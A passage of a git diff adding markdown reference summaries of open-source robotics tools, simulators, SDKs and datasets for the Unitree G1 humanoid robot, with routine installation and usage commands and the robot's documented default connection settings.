https://sites.google.com/a/cgspeed.com/cgspeed/motion-capture/the-motionbuilder-friendly-bvh-conversion-release-of-cmus-motion-capture-database +- Pre-converted BVH files for all 2,548 trials +- Includes text descriptions for each motion + +**GitHub Mirror (BVH)**: https://github.com/una-dinosauria/cmu-mocap +- BVH format files in a Git repository + +### Using with AMASS +The CMU MoCap data is already included in the AMASS dataset in unified SMPL-X format. If you need CMU motions retargeted to G1, use the pre-retargeted AMASS datasets: +```bash +# Already retargeted for G1 +git clone https://huggingface.co/datasets/ember-lab-berkeley/AMASS_Retargeted_for_G1 +``` + +### Direct BVH Retargeting with GMR +```bash +# Install GMR +pip install -e . + +# Retarget BVH to G1 +python retarget.py --input cmu_motion.bvh --robot unitree_g1 +``` + +## License + +The CMU MoCap database is freely available. From the website: "This data is free for use in research and commercial projects. The creators of the database ask only that you credit the source of the data." + +**Recommended Citation**: "The data used in this project was obtained from mocap.cs.cmu.edu. The database was created with funding from NSF EIA-0196217." + +## Related Resources + +- [AMASS](https://amass.is.tue.mpg.de/) - Unified superset including CMU MoCap in SMPL-X format +- [HDM05](https://resources.mpi-inf.mpg.de/HDM05/) - Alternative MoCap database from MPI +- [SFU MoCap](https://mocap.cs.sfu.ca/) - Simon Fraser University's database +- [LAFAN1](https://github.com/ubisoft/ubisoft-laforge-animation-dataset) - Ubisoft's animation dataset diff --git a/reference/sources/github-groot-wbc.md b/reference/sources/github-groot-wbc.md new file mode 100644 index 0000000..a751b62 --- /dev/null +++ b/reference/sources/github-groot-wbc.md @@ -0,0 +1,77 @@ +# GR00T-WholeBodyControl +**Source:** https://github.com/NVlabs/GR00T-WholeBodyControl +**Fetched:** 2026-02-13 +**Type:** GitHub Repository + +--- + +## Description + +GR00T-WholeBodyControl is NVIDIA's open-source software stack for loco-manipulation experiments across multiple humanoid platforms, with primary support for the Unitree G1. The repository provides whole-body control policies, a teleoperation stack, and a data exporter. It is part of the broader NVIDIA Isaac GR00T ecosystem for humanoid robot foundation models. + +## Key Features / Contents + +- **Whole-Body Control Policies**: Coordinated control enabling simultaneous locomotion and manipulation across all degrees of freedom +- **Teleoperation Stack**: Interfaces with Pico VR controllers for synchronized hand and body command generation; also supports LeapMotion, HTC Vive, and Nintendo Switch controllers +- **Data Exporter**: Facilitates collection and logging of trajectory data during teleoperated demonstrations for downstream learning +- **Docker-based Deployment**: Containerized environment with all dependencies pre-packaged from the nvgear Docker registry +- **Simulation and Real Robot Support**: Can run in simulation or on real hardware with a single flag change +- **Deployment Helper**: `deploy_g1.py` script orchestrates the full stack (control, teleoperation, camera streaming) across coordinated tmux sessions + +## G1 Relevance + +This is one of the most important repositories for G1 whole-body control. Key G1-specific details: + +- **Primary platform**: The G1 is the primary supported humanoid robot +- **Pre-trained models**: Ships with models already trained on in-the-wild Unitree G1 datasets using the `UNITREE_G1` embodiment tag +- **Real robot deployment**: Requires static IP configuration (192.168.123.222) per Unitree developer guidelines +- **LeRobot integration**: The GR00T locomotion controller can be launched through LeRobot using `nepyope/GR00T-WholeBodyControl_g1` + +## Installation / Usage + +### System Requirements +- Ubuntu 22.04 +- NVIDIA GPU with current drivers +- Docker with NVIDIA Container Toolkit for GPU access + +### Setup +```bash +git clone https://github.com/NVlabs/GR00T-WholeBodyControl.git +# Install Git LFS +./docker/run_docker.sh --install --root +``` + +### Running in Simulation +```bash +python gr00t_wbc/control/main/teleop/run_g1_control_loop.py +``` + +### Running on Real Robot +```bash +# Configure static IP: 192.168.123.222 +python gr00t_wbc/control/main/teleop/run_g1_control_loop.py --interface real +``` + +### Teleoperation (runs alongside control loop) +```bash +python gr00t_wbc/control/main/teleop/run_teleop_policy_loop.py +``` + +### Full Stack Deployment +```bash +python scripts/deploy_g1.py +``` + +## Codebase Structure + +- `gr00t_wbc/` - Core control logic +- `docker/` - Containerization and deployment +- `scripts/` - Deployment and utility scripts +- External Unitree SDK bindings included +- Languages: Python (84.9%), C++ (6.7%), C (6.1%) + +## Related Resources + +- [NVIDIA Isaac GR00T](https://github.com/NVIDIA/Isaac-GR00T) - Parent project and foundation model +- [WBC-AGILE](https://github.com/nvidia-isaac/WBC-AGILE) - NVIDIA's agile whole-body control variant +- [LeRobot G1 Integration](https://huggingface.co/docs/lerobot/unitree_g1) - Uses GR00T-WBC as locomotion backend diff --git a/reference/sources/github-lerobot-groot.md b/reference/sources/github-lerobot-groot.md new file mode 100644 index 0000000..310c5d3 --- /dev/null +++ b/reference/sources/github-lerobot-groot.md @@ -0,0 +1,102 @@ +# LeRobot + GR00T-WBC Integration for Unitree G1 +**Source:** https://huggingface.co/docs/lerobot/unitree_g1 +**Fetched:** 2026-02-13 +**Type:** GitHub Repository / Documentation + +--- + +## Description + +LeRobot (by HuggingFace) provides first-class support for the Unitree G1 humanoid robot, integrating NVIDIA's GR00T-WholeBodyControl as a locomotion backend. The integration enables end-to-end workflows from robot connection to running whole-body control policies, data collection, and imitation learning. Unitree also maintains a separate `unitree_IL_lerobot` fork that extends LeRobot with G1-specific data collection and training pipelines. + +## Key Features / Contents + +### LeRobot G1 Integration (HuggingFace Official) +- **G1 Robot Class**: Handles low-level read/write operations to/from the humanoid +- **ZMQ Socket Bridge**: Remote communication and camera streaming over WLAN, Ethernet, or directly on-robot +- **Locomotion Policies**: Supports NVIDIA GR00T and Amazon FAR Holosoma controllers +- **MuJoCo Simulation Mode**: Test policies without physical robot by setting `is_simulation=True` +- **Dual DOF Support**: Both 29-DOF and 23-DOF G1 EDU versions supported + +### Unitree IL LeRobot (Unitree Official Fork) +- **Multiple End-Effectors**: Dex1, Dex3, Brainco, and Inspire1 dexterous hands +- **Data Conversion**: Transforms Unitree native JSON format into LeRobot v3.0 dataset structure +- **Policy Architectures**: ACT, Diffusion, Pi0, Pi05, and GR00T policies +- **Real-world Evaluation Pipeline**: Scripts for testing trained policies on physical robots +- **IsaacLab Simulation**: Integration with unitree_sim_isaaclab for virtual validation + +## G1 Relevance + +This is the primary imitation learning framework for G1 manipulation and locomotion tasks. + +### Connection Setup +- G1 Ethernet IP fixed at `192.168.123.164` +- SSH credentials: `unitree@192.168.123.164` (password: `123`) +- WiFi can be enabled on the G1's Orin for wireless operation + +### Architecture +1. **Robot Server** runs on the G1's Jetson Orin (`run_g1_server.py`) +2. **Remote Client** runs on workstation, sends control commands via ZMQ +3. **Locomotion Controller** wraps GR00T-WBC or Holosoma policies + +## Installation / Usage + +### On the G1 Robot (Orin) +```bash +ssh unitree@192.168.123.164 +conda create -y -n lerobot python=3.10 +conda activate lerobot +git clone https://github.com/huggingface/lerobot.git +cd lerobot +pip install -e '.[unitree_g1]' +git clone https://github.com/unitreerobotics/unitree_sdk2_python.git +cd unitree_sdk2_python && pip install -e . + +# Start robot server (keep running) +python src/lerobot/robots/unitree_g1/run_g1_server.py +``` + +### On Workstation +```bash +conda create -y -n lerobot python=3.10 +conda activate lerobot +git clone https://github.com/huggingface/lerobot.git +cd lerobot +pip install -e '.[unitree_g1]' +git clone https://github.com/unitreerobotics/unitree_sdk2_python.git +cd unitree_sdk2_python && pip install -e . + +# Update robot IP in config +# Edit src/lerobot/robots/unitree_g1/config_unitree_g1.py +# Set robot_ip to your robot's WiFi IP + +# Run GR00T locomotion +python examples/unitree_g1/gr00t_locomotion.py --repo-id "nepyope/GR00T-WholeBodyControl_g1" + +# Run Holosoma locomotion +python examples/unitree_g1/holosoma_locomotion.py +``` + +### Unitree IL LeRobot Data Pipeline +1. **Collection**: Use `avp_teleoperate` tool for teleoperated data gathering +2. **Organization**: Sort and rename episodes sequentially (episode_0, episode_1, ...) +3. **Conversion**: Transform JSON to LeRobot v3.0 format with robot-specific configs +4. **Training**: Train policies (ACT, Diffusion, Pi0, GR00T) on standardized datasets +5. **Evaluation**: Test on real robots or IsaacLab simulation + +### Dependencies +- Python 3.10 +- Unitree SDK2 Python (requires CycloneDDS v0.10.2) +- FFmpeg 7.1.1 (for video processing) +- Pinocchio (for kinematics) + +## Related Resources + +- [LeRobot G1 Docs](https://huggingface.co/docs/lerobot/unitree_g1) +- [unitree_IL_lerobot](https://github.com/unitreerobotics/unitree_IL_lerobot) - Unitree's official LeRobot fork +- [GR00T-WholeBodyControl](https://github.com/NVlabs/GR00T-WholeBodyControl) - Locomotion backend +- [Amazon FAR Holosoma](https://github.com/amazon-far/holosoma) - Alternative locomotion controller +- [lerobot/unitree-g1-mujoco](https://huggingface.co/lerobot/unitree-g1-mujoco) - MuJoCo model on HuggingFace +- [Unitree SDK2 Python](https://github.com/unitreerobotics/unitree_sdk2_python) - Low-level robot communication + +*Last updated in source documentation: December 2025* diff --git a/reference/sources/github-mujoco-menagerie-g1.md b/reference/sources/github-mujoco-menagerie-g1.md new file mode 100644 index 0000000..c63e843 --- /dev/null +++ b/reference/sources/github-mujoco-menagerie-g1.md @@ -0,0 +1,45 @@ +# MuJoCo Menagerie - Unitree G1 +**Source:** https://github.com/google-deepmind/mujoco_menagerie/tree/main/unitree_g1 +**Fetched:** 2026-02-13 +**Type:** GitHub Repository README + +--- + +# Unitree G1 Model Documentation + +## Overview +The Unitree G1 is a humanoid robot model provided by Unitree Robotics, with MJCF (MuJoCo XML Format) descriptions available in the mujoco_menagerie repository. The model is "derived from the publicly available MJCF description" maintained by Unitree Robotics. + +## Technical Requirements +- **MuJoCo Version**: Requires MuJoCo 2.3.4 or later +- **License**: BSD-3-Clause License + +## Model Files & Variants + +### Primary Models: +1. **g1.xml** - Standard humanoid configuration +2. **g1_with_hands.xml** - Variant including hand/gripper components +3. **scene.xml** - Environment setup for standard model +4. **scene_with_hands.xml** - Environment for hand-equipped variant + +### MJX-Compatible Versions: +- **g1_mjx.xml** - Optimized for MuJoCo JAX (MJX) physics simulation +- **scene_mjx.xml** - MJX environment with tuned collision geometry + +## Configuration Details + +### Standard Model (g1.xml) +The base model includes 29 degrees of freedom configured for bipedal locomotion and manipulation tasks. + +### Modifications from Source +Development steps included: +- Extraction of common properties into default sections +- Addition of standing posture keyframe +- Integration of joint position actuators (noted as requiring tuning) + +### MJX Model Enhancements +The MJX variant features "manually designed collision geoms and corresponding contact pairs," alongside optimized solver parameters and "lower, more realistic PD gains." The model includes home and bent-knee keyframes for testing various poses. + +## Additional Resources +- **Changelog**: Available in CHANGELOG.md +- **Publication**: Cite the MuJoCo Playground paper (Zakka et al., 2025) for research using this model diff --git a/reference/sources/github-pinocchio.md b/reference/sources/github-pinocchio.md new file mode 100644 index 0000000..e80d3e7 --- /dev/null +++ b/reference/sources/github-pinocchio.md @@ -0,0 +1,91 @@ +# Pinocchio +**Source:** https://github.com/stack-of-tasks/pinocchio +**Fetched:** 2026-02-13 +**Type:** GitHub Repository + +--- + +## Description + +Pinocchio is a high-performance C++ library implementing state-of-the-art rigid body dynamics algorithms. Originally named after the "Rigid Body Algorithms for poly-articulated systems based on revisited Roy Featherstone's algorithms," it delivers analytical derivatives of core dynamics computations. While designed primarily for robotics, it also serves biomechanics, computer graphics, and vision applications. It is built on Eigen for linear algebra and FCL for collision detection, with full Python bindings for rapid prototyping. + +## Key Features / Contents + +- **Forward Kinematics** with analytical derivatives +- **Forward and Inverse Dynamics** with analytical derivatives +- **Centroidal Dynamics** calculations +- **Kinematic and Dynamic Regressors** +- **Closed-loop Mechanism** support +- **Frictional Contact Solvers** +- **Constrained Articulated Body Algorithms** +- **Sparse Constrained Dynamics** +- **Robot Description Format Support**: URDF, SDF, MJCF, SRDF, and programmatic model definition +- **Visualization**: Gepetto Viewer, MeshCat, Panda3D, RViz, and Viser +- **Automatic Differentiation**: CppAD and CasADi support +- **Multiple Precision**: MPFR arithmetic support +- **Cache-friendly C++ template architecture** exploiting kinematic tree sparsity +- **Full Python API** via bindings + +## G1 Relevance + +Pinocchio is a foundational library for G1 whole-body control and motion planning: + +- **Inverse Kinematics (IK)**: Used to compute joint configurations for desired end-effector poses on the G1's arms and legs +- **Dynamics Computation**: Forward and inverse dynamics needed for torque-based control of the G1's 29+ DOF +- **Whole-Body Control**: Serves as the dynamics backend for control frameworks like TSID (Task Space Inverse Dynamics) which can be applied to the G1 +- **URDF Loading**: Can directly load the G1 URDF description for model-based control +- **Motion Planning**: Powers HPP (Humanoid Path Planning), directly applicable to G1 locomotion and manipulation planning +- **Centroidal Dynamics**: Essential for balance and locomotion control on bipedal platforms like the G1 + +## Installation / Usage + +### Quick Install Options + +```bash +# Conda (recommended) +conda install pinocchio -c conda-forge + +# Pip (Linux only) +pip install pin + +# Docker +docker run --rm -it ghcr.io/stack-of-tasks/pinocchio:devel + +# ROS 2 +sudo apt install ros-$ROS_DISTRO-pinocchio +``` + +### Basic Python Usage + +```python +import pinocchio as pin + +# Load robot model from URDF +model = pin.buildModelFromUrdf("path/to/g1.urdf") +data = model.createData() + +# Forward kinematics +q = pin.neutral(model) +pin.forwardKinematics(model, data, q) + +# Inverse dynamics +v = np.zeros(model.nv) +a = np.zeros(model.nv) +tau = pin.rnea(model, data, q, v, a) +``` + +### Core Dependencies +- **Required**: Eigen, FCL +- **Optional**: CppAD, CasADi (automatic differentiation), MPFR (multi-precision) + +## Ecosystem Projects Built on Pinocchio + +- **Crocoddyl**: Model predictive control (MPC) framework +- **TSID**: Task Space Inverse Dynamics solver +- **HPP**: Humanoid Path Planning SDK +- **Jiminy**: Physics simulator +- **OCS2**: Optimal control toolbox + +## Development Status + +Active development with 9,960+ commits. CI spans ROS, Linux (APT), macOS, Windows, and Robotpkg ecosystems. Development branch: `devel`. diff --git a/reference/sources/github-unitree-mujoco.md b/reference/sources/github-unitree-mujoco.md new file mode 100644 index 0000000..d5e7491 --- /dev/null +++ b/reference/sources/github-unitree-mujoco.md @@ -0,0 +1,125 @@ +# Unitree MuJoCo +**Source:** https://github.com/unitreerobotics/unitree_mujoco +**Fetched:** 2026-02-13 +**Type:** GitHub Repository README + +--- + +# Unitree MuJoCo Simulator - Complete Overview + +## Project Description + +"unitree_mujoco is a simulator developed based on Unitree sdk2 and mujoco." It enables seamless integration of control programs from unitree_sdk2, unitree_ros2, and unitree_sdk2_python into simulation, facilitating "a seamless transition from simulation to physical development." The project provides both C++ and Python implementations. + +## Supported Robots + +The simulator supports multiple Unitree quadruped and humanoid robots: +- Go2, B2, B2w, H1 (using unitree_go IDL) +- G1, H1-2 (using unitree_hg IDL) + +## Key Supported Messages + +The system currently supports low-level control and state feedback: +- **LowCmd**: Motor control commands +- **LowState**: Motor state information +- **SportModeState**: Robot position and velocity data +- **IMUState**: Torso IMU measurements (G1 only) + +## Directory Structure + +``` +- simulate/ : C++ simulator (recommended) +- simulate_python/ : Python simulator +- unitree_robots/ : MJCF robot descriptions +- terrain_tool/ : Terrain generation utilities +- example/ : Sample implementations +``` + +## C++ Simulator Installation + +**Dependencies:** +```bash +sudo apt install libyaml-cpp-dev libspdlog-dev libboost-all-dev libglfw3-dev +``` + +**Install unitree_sdk2** to `/opt/unitree_robotics`: +```bash +git clone https://github.com/unitreerobotics/unitree_sdk2.git +cd unitree_sdk2/ && mkdir build && cd build +cmake .. -DCMAKE_INSTALL_PREFIX=/opt/unitree_robotics +sudo make install +``` + +**Install MuJoCo** and create symlink: +```bash +cd simulate/ +ln -s ~/.mujoco/mujoco-3.3.6 mujoco +``` + +**Compile:** +```bash +mkdir build && cd build && cmake .. && make -j4 +``` + +**Test:** +```bash +./unitree_mujoco -r go2 -s scene_terrain.xml +``` + +## Python Simulator Setup + +**Dependencies:** +```bash +pip3 install mujoco pygame +pip3 install -e unitree_sdk2_python +``` + +**Run:** +```bash +cd simulate_python && python3 unitree_mujoco.py +``` + +## Configuration + +**C++ Config** (`simulate/config.yaml`): +- Robot selection, scene file, DDS domain ID +- Joystick settings (Xbox/Switch support) +- Network interface (default: "lo" for simulation) +- Elastic band support for humanoid initialization + +**Python Config** (`simulate_python/config.py`): +- Same parameters as C++ version +- Configurable simulation timestep (SIMULATE_DT) +- Viewer refresh rate (VIEWER_DT) + +## Terrain Generation + +The "terrain_tool folder contains utilities for parametrically creating simulation environments, including stairs, rough ground, and heightmaps." + +## Sim-to-Real Transition + +Three integration examples demonstrate controller transfer: + +1. **unitree_sdk2 (C++)**: + - Compile in `example/cpp/build` + - Run: `./stand_go2` (simulation) or `./stand_go2 enp3s0` (real robot) + - Domain ID switches from 1 to 0 between environments + +2. **unitree_sdk2_python**: + - Run: `python3 stand_go2.py` (simulation) or with network interface for hardware + +3. **unitree_ros2**: + - Requires unitree_ros2 environment setup + - Domain ID configuration via `ROS_DOMAIN_ID` environment variable + +## Joystick Support + +Gamepad controllers (Xbox/Switch layouts) simulate the Unitree wireless controller, publishing to the "rt/wireless_controller" topic. Custom button mappings can be configured in source files using jstest tool output. + +## Humanoid-Specific Features + +"elastic band was designed to simulate the lifting and lowering of humanoid robots," enabling safe initialization. Press 9 to toggle, 7 to lower, 8 to lift. + +--- + +**License:** BSD-3-Clause | **Repository:** github.com/unitreerobotics/unitree_mujoco diff --git a/reference/sources/github-unitree-rl-gym.md b/reference/sources/github-unitree-rl-gym.md new file mode 100644 index 0000000..518a6d1 --- /dev/null +++ b/reference/sources/github-unitree-rl-gym.md @@ -0,0 +1,83 @@ +# Unitree RL Gym +**Source:** https://github.com/unitreerobotics/unitree_rl_gym +**Fetched:** 2026-02-13 +**Type:** GitHub Repository README + +--- + +# Unitree RL GYM: Complete Project Overview + +## Project Description + +Unitree RL GYM is "a repository for reinforcement learning implementation based on Unitree robots, supporting Unitree Go2, H1, H1_2, and G1." The system enables training robotic policies in simulation and deploying them to physical hardware through a structured pipeline. + +## Supported Robots + +The framework supports four Unitree robot platforms: +- **Go2**: Quadruped robot +- **G1**: Humanoid robot +- **H1**: Humanoid robot +- **H1_2**: Enhanced humanoid variant + +## Training Workflow: Train -> Play -> Sim2Sim -> Sim2Real + +### 1. **Training Phase** +Execute training using Isaac Gym simulation environment: +``` +python legged_gym/scripts/train.py --task=xxx +``` + +Key parameters include: +- `--task`: Robot selection (go2, g1, h1, h1_2) +- `--headless`: High-efficiency mode without visualization +- `--num_envs`: Parallel environment count +- `--max_iterations`: Training duration +- `--sim_device` / `--rl_device`: GPU/CPU specification + +Training outputs save to: `logs//_/model_.pt` + +### 2. **Play/Validation Phase** +Verify trained policies with visualization: +``` +python legged_gym/scripts/play.py --task=xxx +``` + +The system exports actor networks as: +- `policy_1.pt` (standard MLP networks) +- `policy_lstm_1.pt` (RNN-based networks) + +### 3. **Sim2Sim Deployment (Mujoco)** +Cross-simulator validation ensures policies generalize beyond Isaac Gym: +``` +python deploy/deploy_mujoco/deploy_mujoco.py {config_name} +``` + +Configuration files located in `deploy/deploy_mujoco/configs/` enable model substitution via `policy_path` parameter. + +### 4. **Sim2Real Deployment (Physical Robots)** +Deploy to actual hardware with prerequisite of "debug mode" activation: +``` +python deploy/deploy_real/deploy_real.py {net_interface} {config_name} +``` + +Parameters specify network interface (e.g., enp3s0) and robot config files. + +**C++ Alternative**: Pre-compiled G1 deployment available in `deploy/deploy_real/cpp_g1/` using LibTorch library. + +## Technical Architecture + +**Language Composition**: +- Python: 90.8% +- C++: 8.2% +- Other: 1.0% + +**Core Dependencies**: +- legged_gym: Foundation framework +- rsl_rl: RL algorithm implementation +- Mujoco: Physics simulation +- unitree_sdk2_python: Hardware communication interface +- LibTorch: C++ neural network inference + +## License + +BSD 3-Clause License governs usage, requiring copyright retention, prohibiting promotional misuse, and mandating modification disclosure. diff --git a/reference/sources/github-unitree-rl-lab.md b/reference/sources/github-unitree-rl-lab.md new file mode 100644 index 0000000..4a2e8b4 --- /dev/null +++ b/reference/sources/github-unitree-rl-lab.md @@ -0,0 +1,49 @@ +# Unitree RL Lab +**Source:** https://github.com/unitreerobotics/unitree_rl_lab +**Fetched:** 2026-02-13 +**Type:** GitHub Repository README + +--- + +# Unitree RL Lab: Comprehensive Overview + +## Project Description + +The Unitree RL Lab is a reinforcement learning framework designed specifically for Unitree humanoid robots. It provides "a set of reinforcement learning environments for Unitree robots, built on top of IsaacLab." The repository currently supports three robot models: Go2, H1, and G1-29dof variants. + +## Core Technology Stack + +The project integrates with NVIDIA's IsaacLab (version 2.3.0) and IsaacSim (5.1.0) for simulation and training. It leverages the Mujoco physics engine for sim2sim validation before real-world deployment. The codebase is predominantly Python (65.1%) with C++ components (31.3%) for the deployment controllers. + +## Installation Pipeline + +Users must first install Isaac Lab following NVIDIA's official documentation, then clone the Unitree RL Lab repository separately. The installation utilizes a shell script (`unitree_rl_lab.sh`) for streamlined setup and environment configuration. + +Two methods exist for obtaining robot models: +1. USD files from HuggingFace's unitree_model repository +2. URDF files from the unitree_ros GitHub repository (recommended for IsaacSim 5.0+) + +Both require configuration of directory paths in the robot assets module. + +## Training and Inference + +The framework provides command-line tools for rapid task iteration: +- Task listing with `./unitree_rl_lab.sh -l` +- Model training via `python scripts/rsl_rl/train.py` +- Policy inference using `python scripts/rsl_rl/play.py` + +The shell wrapper supports task name autocomplete functionality. + +## Deployment Architecture + +The deployment pipeline follows three stages: + +**Setup Phase:** Requires installation of unitree_sdk2, dependencies (yaml, boost, eigen3, spdlog), and compilation of robot-specific controllers. + +**Sim2Sim Validation:** Uses the unitree_mujoco simulator for policy testing before hardware deployment. Controllers communicate via domain IDs and network interfaces. + +**Sim2Real Transfer:** Deploys compiled controllers directly to physical robots via network interfaces, with safety measures requiring manual verification of robot standing and elastic band configuration. + +## Attribution + +The project explicitly acknowledges foundational support from "IsaacLab: The foundation for training and running codes" and references implementations from robot_lab and whole_body_tracking projects for structural guidance. diff --git a/reference/sources/github-unitree-ros2.md b/reference/sources/github-unitree-ros2.md new file mode 100644 index 0000000..cf42482 --- /dev/null +++ b/reference/sources/github-unitree-ros2.md @@ -0,0 +1,57 @@ +# Unitree ROS2 +**Source:** https://github.com/unitreerobotics/unitree_ros2 +**Fetched:** 2026-02-13 +**Type:** GitHub Repository README + +--- + +# Unitree ROS2 Support Overview + +## Project Description + +This repository provides ROS2 integration for Unitree quadruped robots. The implementation leverages CycloneDDS, which serves as both the Unitree SDK2 communication backbone and ROS2's middleware, enabling "direct use of ROS2 messages for robot control without SDK wrapping." + +## Supported Platforms + +**Robots:** Go2, B2, H1 +**Operating Systems & ROS2 Versions:** +- Ubuntu 20.04 with ROS2 Foxy +- Ubuntu 22.04 with ROS2 Humble (recommended) + +## Repository Structure + +The workspace contains three main components: + +1. **cyclonedds_ws**: Houses ROS2 message definitions split between `unitree_go` and `unitree_api` packages +2. **example/src**: Contains implementation examples for state reading and motor control +3. **Configuration scripts**: `setup.sh`, `setup_local.sh`, and `setup_default.sh` for environment initialization + +## Key Installation Steps + +Installation involves three phases: dependency installation, CycloneDDS compilation (unnecessary for Humble), and package compilation using colcon. + +**Critical dependency:** "The cyclonedds version of Unitree robot is 0.10.2," requiring specific middleware configuration rather than default ROS2 installations. + +## Communication Topics + +**State acquisition** occurs through topic subscriptions: +- `/sportmodestate` or `/lf/sportmodestate`: Position, velocity, foot coordinates, gait information +- `/lowstate` or `/lf/lowstate`: Motor states, IMU data, power information, force sensors +- `/wirelesscontroller`: Remote control input values + +**Robot control** uses publisher patterns: +- `/api/sport/request`: High-level locomotion commands via SportClient interface +- `/lowcmd`: Direct motor torque, position, and velocity commands + +## Example Applications + +The repository includes executable examples demonstrating state acquisition and control: +- Motion state monitoring +- Low-level sensor data collection +- Wireless controller input handling +- Motor control demonstrations +- ROS bag recording examples + +## Visualization Support + +The project supports RViz2 integration for sensor visualization, demonstrated with LiDAR point cloud display using frame transformations. diff --git a/reference/sources/github-unitree-sdk2-python.md b/reference/sources/github-unitree-sdk2-python.md new file mode 100644 index 0000000..573edc0 --- /dev/null +++ b/reference/sources/github-unitree-sdk2-python.md @@ -0,0 +1,85 @@ +# Unitree SDK2 Python +**Source:** https://github.com/unitreerobotics/unitree_sdk2_python +**Fetched:** 2026-02-13 +**Type:** GitHub Repository README + +--- + +# Unitree SDK2 Python Interface + +## Project Overview + +This repository provides a Python interface for the Unitree SDK2, enabling developers to control and monitor Unitree quadruped robots through a Python API. The project maintains consistency with the C++ SDK2 implementation while offering Pythonic patterns for robot interaction. + +## Installation + +### Dependencies + +The project requires: +- Python >= 3.8 +- cyclonedds == 0.10.2 +- numpy +- opencv-python + +### Installation from Source + +Users should clone the repository and install via pip: + +```bash +cd ~ +sudo apt install python3-pip +git clone https://github.com/unitreerobotics/unitree_sdk2_python.git +cd unitree_sdk2_python +pip3 install -e . +``` + +### Troubleshooting + +Common installation errors involve missing CycloneDDS dependencies. Users must compile and install CycloneDDS separately before installing the SDK: + +```bash +cd ~ +git clone https://github.com/eclipse-cyclonedds/cyclonedds -b releases/0.10.x +cd cyclonedds && mkdir build install && cd build +cmake .. -DCMAKE_INSTALL_PREFIX=../install +cmake --build . --target install +``` + +Then set environment variables before installation: + +```bash +export CYCLONEDDS_HOME="~/cyclonedds/install" +pip3 install -e . +``` + +## Core Features + +### DDS Communication + +The SDK uses Data Distribution Service (DDS) for publish-subscribe messaging. Example programs demonstrate basic message exchange through publisher and subscriber patterns with customizable data structures. + +### Robot Control Levels + +**High-Level Interface:** Provides sport-mode control including stand-up/sit-down, velocity-based movement, attitude control, trajectory following, and special motion sequences. + +**Low-Level Interface:** Enables direct joint control with position, velocity, and torque parameters. Developers must disable sport-mode before using low-level control to prevent command conflicts. + +## Functionality Examples + +- **Status Reading:** Access high-level and low-level robot state data +- **Motion Control:** Implement walking, balancing, and trajectory-based movements +- **Wireless Controller:** Monitor gamepad input and button states +- **Camera Integration:** Stream front-facing camera feeds using OpenCV +- **Obstacle Avoidance:** Toggle autonomous obstacle detection features +- **Robot Customization:** Control LED lights and speaker volume + +## Repository Statistics + +- 579 stars and 221 forks indicate active community adoption +- BSD-3-Clause licensing permits broad commercial and research use +- 45 commits demonstrate ongoing maintenance and development +- 8 contributors spanning multiple development teams + +## Documentation + +Complete technical specifications and API details are available through [Unitree's official support documentation](https://support.unitree.com/home/en/developer/Quick_start), including sports services, basic services, and remote control protocols. diff --git a/reference/sources/github-unitree-sdk2.md b/reference/sources/github-unitree-sdk2.md new file mode 100644 index 0000000..74ee32c --- /dev/null +++ b/reference/sources/github-unitree-sdk2.md @@ -0,0 +1,48 @@ +# Unitree SDK2 +**Source:** https://github.com/unitreerobotics/unitree_sdk2 +**Fetched:** 2026-02-13 +**Type:** GitHub Repository README + +--- + +# Unitree SDK2 - Complete Overview + +## Project Description +The Unitree SDK2 is version 2 of the Unitree robot software development kit, designed to facilitate robot control and integration. It's maintained by Unitree Robotics and available under the BSD-3-Clause license. + +## Core Requirements + +**Supported Platforms:** +- Operating System: Ubuntu 20.04 LTS +- CPU Architectures: aarch64 and x86_64 +- Compiler: GCC 9.4.0 + +**Required Dependencies:** +- CMake 3.10 or higher +- GCC version 9.4.0 +- Make build system +- libyaml-cpp-dev, libeigen3-dev, libboost-all-dev, libspdlog-dev, libfmt-dev + +## Installation & Setup + +**Installation command:** +``` +apt-get update && apt-get install -y cmake g++ build-essential libyaml-cpp-dev libeigen3-dev libboost-all-dev libspdlog-dev libfmt-dev +``` + +**Build Process:** +1. Create build directory and navigate into it +2. Run cmake configuration +3. Execute make compilation + +**System-wide installation supports two approaches:** default system directories or custom installation paths using CMAKE_INSTALL_PREFIX parameter. + +## Project Statistics +- **888 stars** and **288 forks** on GitHub +- **12 contributors** involved in development +- **4 releases** published +- Written primarily in C++ (99.2%) +- Last major release: v2.0.2 (July 2025) + +## Resources & Documentation +For comprehensive technical documentation and developer resources, visit the official "Unitree Document Center" support portal referenced in project materials. diff --git a/reference/sources/github-unitree-sim-isaaclab.md b/reference/sources/github-unitree-sim-isaaclab.md new file mode 100644 index 0000000..2504abf --- /dev/null +++ b/reference/sources/github-unitree-sim-isaaclab.md @@ -0,0 +1,52 @@ +# Unitree Sim IsaacLab +**Source:** https://github.com/unitreerobotics/unitree_sim_isaaclab +**Fetched:** 2026-02-13 +**Type:** GitHub Repository README + +--- + +# Unitree Sim IsaacLab: Robot Simulation Framework + +## Project Overview + +This repository provides a comprehensive simulation environment for Unitree robots built on Isaac Lab and Isaac Sim. The project enables "data collection, playback, generation, and model validation" while maintaining compatibility with real robot DDS communication protocols. + +## Supported Robots & Tasks + +The framework supports multiple Unitree robot configurations: +- **G1 (29-DOF)**: With gripper, Dex3 hand, or Inspire hand variants +- **H1-2 (27-DOF)**: With Inspire hand + +Available task scenarios include pick-and-place operations with cylindrical and cubic objects, stacking tasks, and mobile manipulation exercises (marked "Wholebody" for locomotion-enabled variants). + +## Technical Requirements + +**Software Stack:** +- Isaac Sim 4.5.0 or 5.0.0 +- Isaac Lab framework +- Ubuntu 20.04 or 22.04+ +- Python-based development environment + +**Hardware:** +- Tested on RTX 3080, 3090, and 4090 GPUs +- RTX 50-series requires Isaac Sim 5.0.0 + +## Key Architecture Components + +The codebase organizes into several functional modules: + +- **DDS Communication**: Implements distributed data service messaging matching real robot protocols +- **Action Providers**: Supports teleoperation commands, file-based playback, and policy-generated actions +- **Task Framework**: Modular scene construction with common configurations, observations, and termination conditions +- **Image Server**: ZMQ-based visual data publishing + +## Usage Modes + +Users can run the simulator for: +1. **Teleoperation**: Real-time control via DDS interfaces +2. **Data Replay**: Playback recorded trajectories from the xr_teleoperate project +3. **Data Generation**: Augment datasets through environmental variations (lighting, camera parameters) + +## Important Caveats + +The documentation emphasizes that "weight files provided in this project are only for simulation environment testing" and warns users to distinguish simulated systems from physical robots on the same network to avoid conflicts. diff --git a/reference/sources/github-xr-teleoperate.md b/reference/sources/github-xr-teleoperate.md new file mode 100644 index 0000000..99a15a6 --- /dev/null +++ b/reference/sources/github-xr-teleoperate.md @@ -0,0 +1,112 @@ +# XR Teleoperate +**Source:** https://github.com/unitreerobotics/xr_teleoperate +**Fetched:** 2026-02-13 +**Type:** GitHub Repository README + +--- + +# XR Teleoperation for 